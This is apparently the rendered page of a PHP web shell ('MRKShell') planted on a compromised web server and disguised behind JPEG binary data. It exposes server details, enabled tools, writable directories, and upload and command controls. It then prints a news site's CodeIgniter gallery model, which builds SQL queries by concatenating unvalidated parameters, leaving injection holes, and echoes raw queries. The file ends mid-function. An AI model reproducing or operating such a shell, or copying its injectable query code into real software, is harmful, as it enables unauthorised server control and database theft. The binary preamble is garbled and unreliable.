JFIF # -$)%7&).0444#9?92>-240 5+#+4;224;652252222225222220222522225222522;2225222222"B!1AQa"q2B#R3br5CS/!12AQ"aRq#3 ??;}q7:bd%Ո>L8/$rsrQٷf=+e: Rb0Z6pN۰7b 1S`JAT K,-֥7(bNRb9CsD/s,9?}+KA]`,EΞ@@ 3ukq14""tD@D@D@D@D@D@D@D@D@D@D@ȓ|:^Yw-)G%AI/9pwVSнm@6=g7AA5tg18gj>F'J,{C3(q<*#AzX?[$va:Q4SԽ7Uԥ&,c}nF;3mO$DN}RySm\*I"}b%7GLj;gp{{FYs(p_xOJFtStǸMU蓰s95"#H'Uq>7F5[}>v%'Y,&CqMzn}m*Xo vl˳hrӦ V)))g`7$sz^%I-1leE]y%݉>?f}( *BNNñ𜤢S[i'T1 ӥԊ>NlHď~)pKw1.UsD LI/k]Sr\r=ߴMAZNKi+P}| qBS*G*z:Imk\_|l6A7߉H\z0賈'Zt_\u>4 {\#O[ERxzLvP wOLT C0ȴ]BAʷ7uNNINS,(DDDDDDDL8MY݂N$ dMK׭i2FesmNQ=?omKv]OVl^@&pɴ[t5+E`oy.E]Ϳ}$g(7y7&X+imcT\(cHɤ|=. C =yȗXʧpv=&cX*[X_i4 GtfFՓnbMjR@ thv4LO I0zlU-_*G!cH9`nԿ \k-~rS*c[}9]qbi~+%)(h($ s;dՒG_\ё[Q,plq!pEſA RZU0*\n]a~Md_3EZ { &8e:jR*dAkyۛs\B˞0Z5%6e`3;0slSx+Xȇ"*ozkE"vܬWاQ8r @ m5$ [/KNFycgrۑ@ {""""""|xd*@s7o~7BSG|܎vøGtЍL١ѬnK/, f~^~l/Ij+!JI'^;{˚*hӤJarʮ)ڱ[P^$;%.V FLJW̔?2ԭUpJe,~b%iW Yhz̻FAl|3ln"M4kM@$2wmͣp8JY)ݬ.]3vԩİ(P*Tb/1FXTg KŮ*C9jE[69d!GZȩMu!5`H\Cp"=wSAmJjCn&/*Q[kQ~b"zΕ~)aA(2EZ0(FÑp.66_φk}T5 YdRarK ɽLSj"SnR-N-Mz~F^Igb Jq(~X fH'Ӵp5_HN(ܰ,Ȍ䶛DK%a~?FuI}"p=U+j}'p&I_ɑ-x!IٮM:w|q;9M?.6x:ODѪ̬zTL`t^?8xJ$ Q cL4d/_xy ˔ SPGNgwSrrS/`5ӧKj ,hTpI=LѦ(,Pc4*4iESO?5sMz<`&_bsTO)fkX[ xqq::h9ifVۉ\_R }JVg~Jzm`(]:O &6IOghX6+HM 7X]RkUr{HL-"< >~28b{[><@6gF5&\1̹nVŕonZM7 (SF$l\sM];owE+IֹȫzɲDߌPcMQMG)b,N ;*!uo&rHT`s^7įĴz0?P&Ҫ3]@H:hڢFҢM~p{&0s?k}+Ι9׵mw >?"fs+Odٯ̌m(R9T:UpbkW=F*ZQh urk8C8@ҧeUԀyKS '.UP,NBcpFS6n=AJl*7 4<(XY_Cda/D=()b,{yHL>[jrǹ7#M7fO`o/w]GȈEU2f\?7a)#봙݂͠SEg>VRdPfF@PV"Ꮷ_(qCJG_0?1[% NKu$7&ۭ ߡ26U$`/ 3ES:/nek |\tmSg5 س}6/qDT "(*sP4SrX)%T(6y%_ Z9<%]B}oyyY"]76*U*vjijw i3D̍IS \Jnn9ۋ>%o;~)5u56槡'z* B5#5

5#a`,>1TW{Xɘ}G4"ҕ4z5F>e6*[\;%*U0LUUr2cpnݢkɜY͌3+bG0#el۴oe,,jO*M1X/3z)W^,p>s{ İQs:ޝd|w :fIe$~+ajXjnT80'S>KIUP&kNϒT=XlȞNڞ]Yz_K[Qׂގ\gq!nB@IoG *l;_뼳\RUeэkm)qh傢5KNz٘6ba:671k{  $N vfN]S7gxg=VjG;wBx t~l/"ʭl=ԝ6n[Dٛ]@"x)# E):\8Bvkcpv4O*;coJ?4ªMCA'.\zVð'w1USݻSlTyj/ gʕ,:S')ܴ]7!A^b%P׶ٮհU3 o\}XTp,e 597n}dk6UFrVǧ3qaR:BWn>Ѻ}oxKӦK)kܑKL tCs1#?升 v{r:u)?#ZxM=ڝYـ#e}JHBGTG>GsܞG2+~R̅Hש)$[*Hfx-ugx({ I7λwvYm~ |e'X#db@hW,0H8*J5AъA`;jȊY*&sh8Jn]"M>l3z%Րsy=Um'qF sX %,Uv|0W`Gzcy*V0'3R`5ޓ Hڙ>PWbw7;)[U(:krm>/ QU+)P>Hm!r -evY>wT7ԝe)^6_SN⚓ϫ('?2Sj5,[پd|+_Pv'[]t'mΝ2l}z/dz^E|"'J qED)R2ƂSg`9Ոu5~ d!G%>M6%pdcP-P L`ϼTQnA_,24G GneRn,XnߕSzV$ReBfZuE ,Z(yi?vO!clOYA [; c I|vCom+Hꡤ\eaӴ;XS|v4%FcϷAQ[yϢ_s+Ơ&pt}=%^Sb"#gĀ'[ oAUPzr;ȔZTy4t>f種ً>T؟GRgC^-WЖukS,G LV$ܱO餰%cp)[*X_v$@DDӢ3bE-V0֍?zySyadd\ j5": Bxi?;3a]1]ZFD澙rc|8uz/ CȎ3UTqb4'ҥX 6KʖYT2fPe$6 lGzSQTP} OL1q^*rxջQ_K?'?=V MR K IS HERE

MRKShell
Server IP : 172.67.193.120  /  Your IP : 172.71.28.167
Web Server : nginx/1.14.1
System : Linux comtuc2-s-2vcpu-8gb-160gb-intel-nyc3 4.18.0-348.7.1.el8_5.x86_64 #1 SMP Wed Dec 22 13:25:12 UTC 2021 x86_64
User : nginx ( 991)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/comunicacion/produccion/sitio/application/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/comunicacion/produccion/sitio/application/models/galeria.php
<?php
class Galeria extends CI_Model
{
	public function dameListado($tipo,$start=0,$limit=20)
	{
		$query = "select g.id,g.titulo,g.tipo,g.template, 
		CONCAT(f.ruta,'th_',f.imagen) as destacada, f.descripcion, DATE_FORMAT(f.fechaalta, '%d/%m/%Y') as fecha_ultima_carga  
		from galeria g 
		inner join galeria_foto gf on (g.id = gf.galeria_id and gf.destacada=1) 
		inner join foto_galerias f on (f.id = gf.foto_id and f.habilitada = 1)";
		
		$query .= " where g.tipo = ".$tipo." and g.habilitada = 1";
		if ($tipo == 2)
			$query .= " order by f.fechaalta desc, g.fecha desc, g.id desc";
		elseif ($tipo == 3)
			$query .= " order by g.fecha desc, g.id desc limit 30";
		else 
			$query .= " order by g.fecha desc, g.id desc";
		if ($limit!=20)
			$query.=" limit ".$start.",".$limit;
		
		//echo $query;
		$cos = $this->db->query($query);
		if ($cos->num_rows() > 0)
		{
			$res = $cos->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameListadoSociales($start=0, $limit=30)
	{
		$sql = "select g.id,g.titulo, DATE_FORMAT(g.fecha, '%d/%m/%Y') as fecha,
		(select CONCAT(f.ruta,'',f.imagen,'|',f.descripcion) as destacada from foto_sociales f 
		inner join galeria_foto_sociales gf on (gf.foto_id = f.id) 
		where gf.galeria_id = g.id order by gf.orden limit 1
		) as destacada 
		from galeria_sociales g 
		where g.habilitada = 1 
		order by g.fecha desc limit $start,$limit";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	

	public function dameUltimaGaleriaSocial()
	{
		$sql = "select id from galeria_sociales where habilitada = 1 order by id desc limit 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['id'];
		}
		else
			return false;
	}
	
	public function dameGaleriaSocial($galeria_id,$foto_id=0)
	{
		$sql = "select DATE_FORMAT(g.fecha, '%d/%m/%Y') as fecha, g.id, g.titulo, g.descripcion, g.permisocom, 
		CONCAT(f.ruta,'',f.imagen) as destacada, f.descripcion  
		from galeria_sociales g 
		inner join galeria_foto_sociales gf on (g.id = gf.galeria_id) 
		inner join foto_sociales f on (f.id = gf.foto_id and f.habilitada = 1)"; 
		
		if ($foto_id > 0)
			$sql .= " where g.id = ".$galeria_id." and g.habilitada = 1 and f.id = ".$foto_id." order by gf.orden limit 1";
		else
			$sql .= " where g.id = ".$galeria_id." and g.habilitada = 1 order by gf.orden limit 1";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function dameGaleriasSocialBusqueda($anio)
	{
		$sql = "select id, DATE_FORMAT(fecha, '%d/%m/%Y') as fecha from galeria where year(fecha) = '$anio' and tipo = 3 and habilitada = 1 order by id desc";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameGaleriasComunidad()
	{
		$this->db->select("id, titulo");
		$this->db->from("galeria");
		$this->db->where("habilitada",1);
		$this->db->where("habilitada_carga",1);
		$this->db->where("tipo",2);
		$this->db->order_by("id desc");
		$query = $this->db->get();
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function buscarPorId($id)
	{
		$sql = "select id, titulo, descripcion, habilitada, tipo, template, 
		DATE_FORMAT(fechaAlta,'%d-%m-%Y') as fecha, DATE_FORMAT(fecha_hasta,'%d-%m-%Y') as fecha_fin, DATE_FORMAT(fecha_hasta,'%H:%i') as hora_fin, 
		DATE_FORMAT(fecha,'%d-%m-%Y') as fecha_inicio, permisocom 
		from galeria 
		where id = ".$id." and habilitada = 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function dameSeccionesGaleria($galeria_id)
	{
		$this->db->select("s.id, s.nombre, s.template");
		$this->db->from("tag s");
		$this->db->join("relacion_otro r ","r.objeto_id2 = s.id and r.tipo2 = 8","inner");
		$this->db->where("s.tipo_id",5);
		$this->db->where("r.tipo1",5);
		$this->db->where("r.objeto_id1",$galeria_id);
		$query = $this->db->get();
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function dameNotas($seccion_id, $edicion_id=3749)
	{
		$ed_id1 = $edicion_id-3;
		
		$sql = "select n.id, n.anteTitulo as antetitulo, n.titulo, n.sumario as bajada, 
		DATE_FORMAT(n.fechaAlta, '%d/%m/%Y') as fecha, n.url, 
		(
			select CONCAT(f.ruta,'tmb2_',f.imagen) 
			from foto f 
			inner join relacion r2 on (f.id = r2.objeto_id)
			where r2.tipo = 30 and r2.destacado = 1 and r2.nota_id = n.id limit 1
		) as destacada,
		(
			select s.nombre 
			from tag s 
			inner join relacion_tag re on (re.tag_id = s.id and re.tipo = 5) 
			where re.nota_id = n.id and s.tipo_id=5 
			limit 1
		) as seccion_nombre
		from nota n 
		inner join relacion_tag r on (n.id = r.nota_id and r.tipo = 5)  
		where n.edicion_id >= $ed_id1 and r.tag_id = ".$seccion_id." and n.habilitada = 1 
		order by n.id desc limit 5";
		
		$query = $this->db->query($sql);
		if ($query->num_rows > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameFotos($galeria_id,$tipo=2,$start="",$limit="")
	{
		$sql = "SELECT f.id, f.titulo, f.descripcion, f.ruta, f.imagen, f.permisocom, f.fechaalta, u.id as usuario_id, u.usuario,
		DATE_FORMAT(f.fechaalta,'%d/%m/%Y') as fecha, DATE_FORMAT(f.fechaalta,'%H:%i') as hora, 
		$galeria_id as galeria_id, u.estado 
		FROM foto_galerias f 
		INNER JOIN galeria_foto gf on (f.id = gf.foto_id)
		INNER JOIN usuario u on (u.id = f.usuario_id) 
		WHERE f.habilitada = 1 and gf.galeria_id = ".$galeria_id; 
		
		if ($tipo == 2)
			$sql .= " ORDER BY f.fechaalta desc";
			
		if ($tipo == 3 or $tipo == 1)
			$sql .= " ORDER BY gf.orden";
			
		if ($limit!="")
			$sql .= " limit $start,$limit";
		echo $sql;
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameFotosConcurso($galeria_id,$start="",$limit="",$order="")
	{
		$sql = "SELECT f.id, f.titulo, f.descripcion, f.ruta, f.imagen, f.permisocom, f.fechaalta, u.id as usuario_id, u.usuario,
		DATE_FORMAT(f.fechaalta,'%d/%m/%Y') as fecha, DATE_FORMAT(f.fechaalta,'%H:%i') as hora, 
		$galeria_id as galeria_id, u.estado, f.votos, f.puntos 
		FROM foto_galerias f 
		INNER JOIN galeria_foto gf on (f.id = gf.foto_id)
		INNER JOIN usuario u on (u.id = f.usuario_id) 
		WHERE f.habilitada = 1 and gf.galeria_id = ".$galeria_id; 
		
		if ($order != "")
			$sql .= " ORDER BY f.".$order;
		else
			$sql .= " ORDER BY f.id desc";
			
		if ($limit!="")
			$sql .= " limit $start,$limit";
			
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameFotosConcursoRestantes($galeria_id,$start="",$limit="",$array_ganadores)
	{
		$sql = "SELECT f.id, f.titulo, f.descripcion, f.ruta, f.imagen, f.permisocom, f.fechaalta, u.id as usuario_id, u.usuario,
		DATE_FORMAT(f.fechaalta,'%d/%m/%Y') as fecha, DATE_FORMAT(f.fechaalta,'%H:%i') as hora, 
		$galeria_id as galeria_id, u.estado, f.votos, f.puntos 
		FROM foto_galerias f 
		INNER JOIN galeria_foto gf on (f.id = gf.foto_id)
		INNER JOIN usuario u on (u.id = f.usuario_id) 
		WHERE f.habilitada = 1 and gf.galeria_id = ".$galeria_id;
		if($array_ganadores<>'')
		 	$sql .=" and f.id not in (".$array_ganadores.")"; 
		
			$sql .= " ORDER BY f.puntos desc";
			
		if ($limit!="")
			$sql .= " limit $start,$limit";
			
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function damePuntosFotoConcurso($foto_id)
	{
		$sql = "select puntos from foto_galerias where id = ".$foto_id;
		$query = $this->db->query($sql);
		if ($query->result_array() > 0)
		{
			$res = $query->result_array();
			return $res[0]['puntos'];
		}
		else
			return 0;
	}
	
	public function dameFotoGaleria($galeria_id, $foto_id)
	{
		$sql = "SELECT f.id, f.titulo, f.descripcion, f.ruta, f.imagen, f.permisocom, 
		u.usuario, u.id as usuario_id, u.estado, g.id as galeria_id, g.permisocom as permiso_galeria, 
		g.titulo as galeria_titulo, f.compartido,
		DATE_FORMAT(f.fechaalta,'%d-%m-%Y') as fecha, DATE_FORMAT(f.fechaalta,'%H:%i') as hora, 
		DATE_FORMAT(g.fecha,'%d-%m-%Y') as fecha_inicio, DATE_FORMAT(g.fecha_hasta,'%d-%m-%Y') as fecha_fin, 
		DATE_FORMAT(g.fecha_hasta,'%H:%i') as hora_fin, f.votos, f.puntos
		FROM foto_galerias f 
		INNER JOIN galeria_foto gf on (f.id = gf.foto_id) 
		INNER JOIN galeria g on (g.id = gf.galeria_id) 
		LEFT JOIN usuario u on (u.id = f.usuario_id) 
		WHERE gf.galeria_id = ".$galeria_id." and f.id = ".$foto_id." and f.habilitada = 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	public function dameFotoSiguiente($galeria_id, $foto_id, $sig_ant)
	{
		$this->db->select("f.id, f.titulo, f.descripcion, f.ruta, f.imagen");
		$this->db->from("foto_galerias f");
		$this->db->join("galeria_foto gf","gf.foto_id = f.id","inner"); 
		$this->db->where("gf.galeria_id",$galeria_id);
		$this->db->where("f.habilitada",1);
		if ($sig_ant == "sig")
		{
			$this->db->where("f.id <",$foto_id);
			$this->db->order_by("f.id desc");
			$this->db->limit("1");
		}
		else
		{
			$this->db->where("f.id >",$foto_id);
			$this->db->order_by("f.id asc");
			$this->db->limit("1");
		}

		$query = $this->db->get();
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}

	public function dameFotoSiguienteConcurso($galeria_id, $foto_id)
	{
		$sql = "select f.id, f.titulo, f.ruta, f.imagen 
		from foto_galerias f 
		inner join galeria_foto gf on (gf.foto_id = f.id) 
		where gf.galeria_id = ".$galeria_id." and f.habilitada = 1 and f.id < ".$foto_id." 
		order by f.id desc 
		limit 3";

		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameGalerias($tipo, $start, $limit)
	{
		$query = "select g.id,g.titulo,g.tipo,g.template, 
		CONCAT(f.ruta,'th_',f.imagen) as destacada, f.descripcion, DATE_FORMAT(f.fechaalta, '%d/%m/%Y') as fecha_ultima_carga  
		from galeria g 
		inner join galeria_foto gf on (g.id = gf.galeria_id and gf.destacada=1) 
		inner join foto_galerias f on (f.id = gf.foto_id and f.habilitada = 1)";
		
		$query .= " where g.tipo = ".$tipo." and g.habilitada = 1";
		$query .= " order by g.id desc";
		$query .= " limit $start, $limit";
		
		$cos = $this->db->query($query);
		if ($cos->num_rows() > 0)
		{
			$res = $cos->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameGaleriasDestacadas($limit=5)
	{
		$sql = "select id, titulo, descripcion 
		from galeria where habilitada = 1 and home = 1 and tipo = 1 order by id desc limit ".$limit;
		
		$cos = $this->db->query($sql);
		if ($cos->num_rows() > 0)
		{
			$res = $cos->result_array();
			foreach ($res as $indice => $gal)
			{
				$res[$indice]['foto'] = $this->dameFotoDestacadGaleria($gal['id']);
				$fotos_ids = $this->dameIdFotosGaleria($gal['id']);
				if ($fotos_ids)
				{
					$nuevo = array();
					foreach ($fotos_ids as $ind => $id) 
					{
						$ant = $fotos_ids[$ind-1]['id'];
						$sig = $fotos_ids[$ind+1]['id'];
						if ($ind==0)
							$ant = $fotos_ids[count($fotos_ids)-1]['id'];
						if ($ind == count($fotos_ids)-1)
							$sig = $fotos_ids[0]['id'];
						$fotos_ids[$ind]['anterior'] = $ant;
						$fotos_ids[$ind]['siguiente'] = $sig;
						$nuevo[$id['id']]['anterior'] = $ant;
						$nuevo[$id['id']]['siguiente'] = $sig;
					}
				}
				$res[$indice]['fotos'] = $nuevo;
			}
			return $res;
		}
		else
			return false;
	}

	public function dameFotoDestacadGaleria($galeria_id)
	{
		$sql = "select f.id, f.ruta, f.imagen, f.descripcion, DATE_FORMAT(f.fechaalta,'%d-%m-%Y') as fecha, 
		DATE_FORMAT(f.fechaalta,'%H:%i') as hora, f.compartido 
		from foto_galerias f 
		inner join galeria_foto g on (g.foto_id = f.id) 
		where g.galeria_id = ".$galeria_id." and f.habilitada=1 order by g.destacada desc limit 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			$res[0]['comentarios'] = $this->dameCantComentariosFoto($res[0]['id']);
			$res[0]['firma'] = $this->dameFirma($res[0]['id']);
			return $res[0];
		}
		else
			return false;
	}

	public function dameCantComentariosFoto($foto_id)
	{
		$sql = "select count(id) as cantidad from comentario where objeto_id = ".$foto_id." and tipo=30";
		$query = $this->db->query($sql);
		$res = $query->result_array();
		return $res[0]['cantidad'];
	}

	public function dameIdFotosGaleria($galeria_id)
	{
		$sql = "select distinct f.id from foto_galerias f 
		inner join galeria_foto g on (g.foto_id = f.id) 
		where g.galeria_id = ".$galeria_id." order by g.destacada desc, g.orden asc ";
		$query = $this->db->query($sql);
		if ($query->result_array() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}

	public function dameFirma($foto_id)
	{
		$sql = "select u.id, u.nombre, u.apellido 
		from usuario u 
		inner join relacion_otro r on (r.objeto_id2 = u.id and r.tipo2=4) 
		where r.objeto_id1 = ".$foto_id." and r.tipo1 = 30";
		$query = $this->db->query($sql);
		if ($query->result_array() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}

	public function dameFotoGal($foto_id)
	{
		$sql = "select id,ruta,imagen,descripcion, DATE_FORMAT(fechaalta,'%d-%m-%Y') as fecha, compartido 
		from foto_galerias where id = ".$foto_id." and habilitada = 1";
		$query = $this->db->query($sql);
		if ($query->result_array() > 0)
		{
			$res = $query->result_array();
			$res[0]['comentarios'] = $this->dameCantComentariosFoto($res[0]['id']);
			$res[0]['firma'] = $this->dameFirma($res[0]['id']);
			return $res[0];
		}
		else
			return false;
	}
	
	public function dameUltimaGaleriaMinInfo()
	{
		$sql = "select id, titulo from galeria where tipo=1 and habilitada = 1 order by fecha desc limit 1";
		//$sql = "select id, titulo from galeria where id=2151 and habilitada = 1 order by fecha desc limit 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0];
		}
		else
			return false;
	}
	
	/*public function dameUltimasGalerias($cant=0,$no_incluir = NULL )
	{
		$query = "SELECT g.id, g.titulo, g.descripcion, DATE_FORMAT(g.fechaAlta,'%d-%m-%Y') as fecha,
		CONCAT(fg.ruta,'crop_',fg.imagen) AS imagen,fg.id AS imagen_id
		FROM galeria g 
		INNER JOIN galeria_foto gf ON gf.galeria_id=g.id AND gf.destacada=1
		INNER JOIN foto_galerias fg ON fg.id=gf.foto_id AND fg.habilitada=1
		WHERE g.tipo=1 
		AND g.habilitada=1";
		
		if($no_incluir && $no_incluir<>'')
		{
			$query .=" AND g.id NOT IN (".$no_incluir.")";
		}
		
		$query .=" ORDER BY g.id DESC";
		
		if($cant > 0)
		{
			$query .=" LIMIT ".$cant;	
		}
		
		$cos = $this->db->query($query);
		if ($cos->num_rows() > 0)
		{
			$res = $cos->result_array();
			return $res;
		}
		else
			return false;
	}*/

	public function dameUltimasGalerias($start=0,$cant=0,$no_incluir = NULL)
	{
		$sql = "SELECT g.id, g.titulo, g.descripcion, DATE_FORMAT(g.fechaAlta,'%d-%m-%Y') as fecha, 
		(
			select CONCAT(f.ruta,'crop_',f.imagen) as imagen 
			from foto_galerias f inner join galeria_foto gf on (gf.foto_id = f.id) 
			where gf.galeria_id = g.id order by gf.destacada desc limit 1
		) as imagen 
		from galeria g 
		where g.tipo=1 and g.habilitada = 1";

		if($no_incluir && $no_incluir<>'')
		{
			$sql .=" AND g.id NOT IN (".$no_incluir.")";
		}
		
		$sql .=" ORDER BY g.id DESC";
		
		if($cant > 0)
		{
			$sql .=" LIMIT ".$start.",".$cant;	
		}
		
		$cos = $this->db->query($sql);
		if ($cos->num_rows() > 0)
		{
			$res = $cos->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameGaleriasMasVistas($cant=4)
	{
		$sql = "select f.id,g.id as galeria_id, g.titulo from foto_galerias f 
		inner join galeria_foto gf on (gf.foto_id = f.id) 
		inner join galeria g on (g.id = gf.galeria_id) 
		where f.id >= 45000 and g.tipo=1 and f.habilitada = 1 and g.habilitada = 1 and 
        UNIX_TIMESTAMP(g.fecha) >= UNIX_TIMESTAMP(DATE_ADD(CURDATE(),INTERVAL -30 DAY)) 
        group by g.id 
        order by f.visitas desc limit $cant";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			foreach ($res as $k=>$foto)
			{
				$res[$k]['imagen'] = $this->dameDestacadaDeGaleria($foto['galeria_id']);
			}
			return $res;
		}
		else
			return false;
		
		/*$query = "SELECT g.id, g.titulo, g.descripcion, CONCAT(fg.ruta,'crop_',fg.imagen) AS imagen,fg.id AS imagen_id, fg.visitas, g.tipo
		FROM foto_galerias fg
		INNER JOIN galeria_foto gf ON gf.foto_id = fg.id
		INNER JOIN galeria g ON g.id = gf.galeria_id AND g.tipo='1'
		WHERE fg.habilitada='1'";
		
				
		$query .=" GROUP BY g.titulo
		ORDER BY fg.visitas DESC";
		
		if($cant > 0)
		{
			$query .=" LIMIT ".$cant;	
		}
		
		$cos = $this->db->query($query);
		if ($cos->num_rows() > 0)
		{
			$res = $cos->result_array();
			return $res;
		}
		else
			return false;*/
	}
	
	public function dameDestacadaDeGaleria($galeria_id)
	{
		$sql = "select CONCAT(fg.ruta,'crop_',fg.imagen) AS imagen from foto_galerias fg 
		inner join galeria_foto g on (g.foto_id = fg.id) 
		where g.galeria_id = ".$galeria_id." and g.destacada = 1 limit 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res[0]['imagen'];
		}
	}
	
	public function dameGaleriasSeccion($seccion_id,$cant = 0)
	{
		
		$query = "SELECT g.id, g.titulo, g.descripcion, CONCAT(fg.ruta,'crop_',fg.imagen) AS imagen, fg.id as imagen_id
		FROM galeria g 
		INNER JOIN galeria_foto gf ON gf.galeria_id=g.id AND gf.destacada=1
		INNER JOIN foto_galerias fg ON fg.id=gf.foto_id AND fg.habilitada=1
		INNER JOIN relacion_otro ro ON ro.objeto_id1 = g.id AND ro.objeto_id2='".$seccion_id."' AND ro.tipo1=5 AND ro.tipo2=8
		WHERE g.tipo=1 
		AND g.habilitada=1";
		
		/*$query = "select g.id, g.titulo, g.descripcion, 
		(select CONCAT(fg.ruta,'crop_',fg.imagen) AS imagen 
		from foto_galerias fg 
		inner join galeria_foto gf on (gf.foto_id = fg.id) 
		where gf.galeria_id = g.id 
		order by gf.destacada desc limit 1) as imagen 
		from galeria g 
		inner join relacion_otro r on (g.id = r.objeto_id1 and r.tipo1 = 5 and r.tipo2 = 8 and r.objeto_id2 = ".$seccion_id.") 
		where g.habilitada = 1 and g.tipo = 1";*/
		
		//$query .=" ORDER BY g.fecha DESC";
		
		if($cant > 0)
		{
			$query .=" LIMIT ".$cant;	
		}
		
		$cos = $this->db->query($query);
		if ($cos->num_rows() > 0)
		{
			$res = $cos->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameFotografos($cant=0,$f=0) //1er parametro: cant de rows. cero trae todos. 2do parametro: uno trae ultimas galerias, cero trae ordenados alfabeticamente
	{
		
		$query = "SELECT u.id,u.nombre, u.apellido, ui.imagen, ui.descripcion
		FROM usuario u
		LEFT JOIN usuario_info ui ON ui.usuario_id = u.id";
		
		if($f==1)
		{
			$query .= " INNER JOIN relacion_otro ro ON ro.tipo1=30 AND ro.tipo2=4 AND ro.objeto_id2 = u.id 
			INNER JOIN foto_galerias g ON g.id = ro.objeto_id1";
		}
		
		$query .= " WHERE u.estado=1
		AND u.tipo = 3";
		
		if($f==1)
		{
		
			$query .= " ORDER BY g.fechaalta DESC";
		
		}
		else
		{
			$query .=" ORDER BY u.apellido,u.nombre ASC";
		}
		
		if($cant > 0)
		{
			$query .=" LIMIT ".$cant;	
		}
		
		//echo $query;
		
		$cos = $this->db->query($query);
		if ($cos->num_rows() > 0)
		{
			$res = $cos->result_array();
			return $res;
		}
		else
			return false;
		
	}
	
	public function dameTamaniosCrop($tamanio_id)
	{
		
		$query = "SELECT crop_width AS ancho, crop_height AS alto FROM galeria_tipo WHERE id='".$tamanio_id."'";
		
		$cos = $this->db->query($query);
		if ($cos->num_rows() > 0)
		{
			$res = $cos->result_array();
			return $res[0];
		}
		else
			return false;
		
	}
	
	public function dameTodasGalerias($cant=0,$inicio=0)
	{
		$sql = "SELECT g.id, g.titulo, g.descripcion, CONCAT(fg.ruta,'crop_',fg.imagen) AS imagen,fg.id AS imagen_id
		FROM galeria g 
		INNER JOIN galeria_foto gf ON gf.galeria_id=g.id AND gf.destacada=1
		INNER JOIN foto_galerias fg ON fg.id=gf.foto_id AND fg.habilitada=1
		WHERE g.tipo=1 
		AND g.habilitada=1 order by g.fecha desc";
		
		if($cant<>0)
		{
			$sql .=" LIMIT ".$inicio.",".$cant;
		}
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameMasGalerias($start=0)
	{
		$sql = "SELECT g.id, g.titulo, g.descripcion, CONCAT(fg.ruta,'crop_',fg.imagen) AS imagen,fg.id AS imagen_id
		FROM galeria g 
		INNER JOIN galeria_foto gf ON gf.galeria_id=g.id AND gf.destacada=1
		INNER JOIN foto_galerias fg ON fg.id=gf.foto_id AND fg.habilitada=1
		WHERE g.tipo=1 
		AND g.habilitada=1 order by g.fecha desc";
			
		$sql .= " LIMIT ".$start.",12";
		
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;
		}
		else
			return false;
	}
	
	public function dameGaleriasNota($nota_id)
	{
		$sql = "select g.titulo, g.id 
		from galeria g 
		inner join relacion r on (r.objeto_id = g.id and r.tipo=5) 
		where r.nota_id = ".$nota_id." and g.tipo = 1"; 
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;	
		}
		else
			return false;
	}

	public function dameGaleriasNota_v2($nota_id)
	{
		$sql = "SELECT DISTINCT g.titulo, g.id, CONCAT(fg.ruta,'|',fg.imagen) AS imagen 
		FROM galeria g 
		INNER JOIN relacion r ON (r.objeto_id = g.id AND r.tipo=5)  
		INNER JOIN galeria_foto gf ON gf.galeria_id=g.id AND gf.destacada=1
		INNER JOIN foto_galerias fg ON fg.id=gf.foto_id AND fg.habilitada=1
		WHERE r.nota_id = ".$nota_id." AND g.tipo = 1";
		$query = $this->db->query($sql);
		if ($query->num_rows() > 0)
		{
			$res = $query->result_array();
			return $res;	
		}
		else
			return false;
	}

	public function dameGaleriaCompletaSeccion($seccion_id,$ini=0)
	{
		$sql = "SELECT g.id,g.titulo
				FROM relacion_otro r 
				INNER JOIN galeria g ON g.id=r.objeto_id1
				WHERE r.tipo1=5 AND r.tipo2=8 AND r.objeto_id2=".$seccion_id."
				ORDER BY g.id DESC
				LIMIT ".$ini.",1"; 
